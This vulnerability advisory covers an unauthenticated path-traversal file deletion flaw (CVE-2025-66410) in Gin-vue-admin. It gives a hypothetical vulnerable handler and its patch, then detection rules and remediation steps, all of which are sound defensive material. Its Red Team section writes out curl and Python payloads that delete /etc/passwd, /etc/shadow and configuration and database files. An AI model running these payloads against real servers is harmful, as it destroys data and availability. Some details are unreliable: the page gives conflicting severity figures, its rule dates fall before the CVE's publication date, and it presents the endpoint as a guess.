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CVSS: 8.7 🐛 CWE-22
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-66410

CVE-2025-66410 Path Traversal in Gin-vue-admin
📅 PUBLISHED: 2025-12-01 22:28 UTC 🔄 UPDATED: 2026-10-11 17:42 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.58%
👁️
0.58% probability
14.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.7
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-66410 is a critical path traversal vulnerability in Gin-vue-admin, a popular backstage management system built with Vue and Gin (Go). In version 2.8.6 and earlier, an unauthenticated attacker can exploit the FileMd5 parameter to delete arbitrary files and folders on the server. This can lead to severe denial of service, data loss, or complete system compromise. The vulnerability has a CVSS score of 0.0 in the NVD but is assessed here as critical due to the lack of authentication required and the high impact on integrity and availability. No official patch has been released at the time of analysis.

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Supply Chain & Package Security

Gin-vue-admin is a Go-based project. The vulnerability exists in the backend API handler that processes file deletion requests. Since the project is open-source and widely used in Chinese enterprises, the supply chain risk is significant. Organizations using this framework should immediately assess their exposure and consider isolating the management interface until a patch is available.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
  • Confidentiality (C): None (N) – No data exfiltration, but deletion can destroy data.
  • Integrity (I): High (H) – Arbitrary file deletion destroys data integrity.
  • Availability (A): High (H) – Deletion of critical files can cause denial of service.

Threat Level: Critical. The ability to delete any file without authentication makes this a high-priority vulnerability for immediate remediation.

Deep Dive & Mechanics

The vulnerability resides in the file deletion endpoint of Gin-vue-admin. The application uses a parameter named FileMd5 to specify which file to delete. The backend code likely constructs a file path by concatenating a base directory with the FileMd5 value without proper sanitization. An attacker can inject path traversal sequences (e.g., ../) to escape the intended directory and delete arbitrary files.

Root Cause: The application fails to validate or sanitize the FileMd5 parameter, allowing directory traversal. Additionally, there is no authentication check on the deletion endpoint.

Attack Flow:

  1. Identify the vulnerable endpoint (e.g., /api/file/delete).
  2. Send a POST request with FileMd5 set to a path traversal payload, such as ../../etc/passwd.
  3. The server deletes the targeted file.

Impact:

  • Deletion of configuration files (e.g., config.yaml) can break the application.
  • Deletion of system files (e.g., /etc/passwd) can cause OS instability.
  • Deletion of database files can lead to complete data loss.

Vulnerable vs. Patched Code

Vulnerable Code (Hypothetical):

func DeleteFile(c *gin.Context) {
    fileMd5 := c.PostForm("FileMd5")
    filePath := filepath.Join(uploadDir, fileMd5)
    os.Remove(filePath)
    c.JSON(200, gin.H{"message": "deleted"})
}

Patched Code (Hypothetical):

func DeleteFile(c *gin.Context) {
    fileMd5 := c.PostForm("FileMd5")
    // Validate that fileMd5 is a valid MD5 hash (32 hex characters)
    if !regexp.MustCompile(`^[a-f0-9]{32}$`).MatchString(fileMd5) {
        c.JSON(400, gin.H{"error": "invalid file identifier"})
        return
    }
    filePath := filepath.Join(uploadDir, fileMd5)
    // Ensure the resolved path is within the upload directory
    absPath, _ := filepath.Abs(filePath)
    absUploadDir, _ := filepath.Abs(uploadDir)
    if !strings.HasPrefix(absPath, absUploadDir) {
        c.JSON(400, gin.H{"error": "invalid path"})
        return
    }
    os.Remove(absPath)
    c.JSON(200, gin.H{"message": "deleted"})
}

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A running instance of Gin-vue-admin 2.8.6 or earlier.
  • Network access to the vulnerable endpoint.

Exploit Steps:

  1. Identify the vulnerable endpoint. Common paths include /api/file/delete or /api/v1/file/delete.
  2. Craft a POST request with the FileMd5 parameter containing path traversal sequences.

Example Exploit (using curl):

# Delete /etc/passwd (Linux)
curl -X POST http://target.com/api/file/delete \
  -d "FileMd5=../../etc/passwd"

# Delete a configuration file
curl -X POST http://target.com/api/file/delete \
  -d "FileMd5=../config.yaml"

Automated Exploit (Python):

import requests

target = "http://target.com/api/file/delete"
payloads = [
    "../../etc/passwd",
    "../../etc/shadow",
    "../config.yaml",
    "../data.db"
]

for payload in payloads:
    r = requests.post(target, data={"FileMd5": payload})
    print(f"Deleted {payload}: {r.status_code}")

Blue Team

Detection:

  • Monitor for POST requests to /api/file/delete with suspicious FileMd5 values containing ../ or ..\\.
  • Alert on any file deletion events outside the expected upload directory.

Hunting:

  • Search logs for FileMd5 parameters containing path traversal patterns.
  • Check for unexpected file deletions in system logs (e.g., auditd on Linux).

Mitigation:

  • Immediately restrict access to the vulnerable endpoint using a WAF or reverse proxy.
  • Implement input validation to ensure FileMd5 is a valid MD5 hash.
  • Apply the principle of least privilege to the application user.

Indicators of Compromise (IOCs)

  • Network:
    • POST requests to /api/file/delete with FileMd5 containing ../ or ..\\.
    • Unusual HTTP 200 responses from the deletion endpoint.
  • File System:
    • Unexpected deletion of critical files (e.g., /etc/passwd, config.yaml).
    • Missing files in the application's upload directory.
  • Logs:
    • Application logs showing FileMd5 values with path traversal sequences.
    • System logs (e.g., audit.log) showing unlink or rm operations on unexpected paths.

Detection Engineering

YARA Rule

rule CVE_2025_66410_FileDeletion {
    meta:
        description = "Detects path traversal attempts in Gin-vue-admin FileMd5 parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-66410"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $param = "FileMd5"
    condition:
        $param and ($traversal1 or $traversal2)
}

Sigma Rule

title: CVE-2025-66410 - Gin-vue-admin Arbitrary File Deletion
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2025-66410 via path traversal in FileMd5 parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        c-uri|contains: "/api/file/delete"
        cs-method: "POST"
        cs-uri-query|contains: "FileMd5=../"
    condition: selection
falsepositives:
    - Legitimate use of relative paths in file management (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-66410 - Gin-vue-admin Arbitrary File Deletion Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/file/delete"; http_uri; content:"FileMd5"; http_client_body; content:"../"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the vulnerable system: If possible, take the Gin-vue-admin interface offline or restrict access to trusted IPs only.
  2. Apply a WAF rule: Block POST requests to /api/file/delete with FileMd5 containing ../ or ..\\.
  3. Monitor logs: Actively search for exploitation attempts using the provided detection rules.

Long-term Fix:

  • Patch: Await an official patch from the vendor. In the meantime, apply the hypothetical patch shown in the "Vulnerable vs. Patched Code" section.
  • Upgrade: Once a patched version is released (e.g., 2.8.7 or later), upgrade immediately.
  • Code Review: Conduct a security audit of all file handling endpoints in the application.

Workaround:

  • Modify the source code to validate the FileMd5 parameter as a 32-character hexadecimal string before processing.

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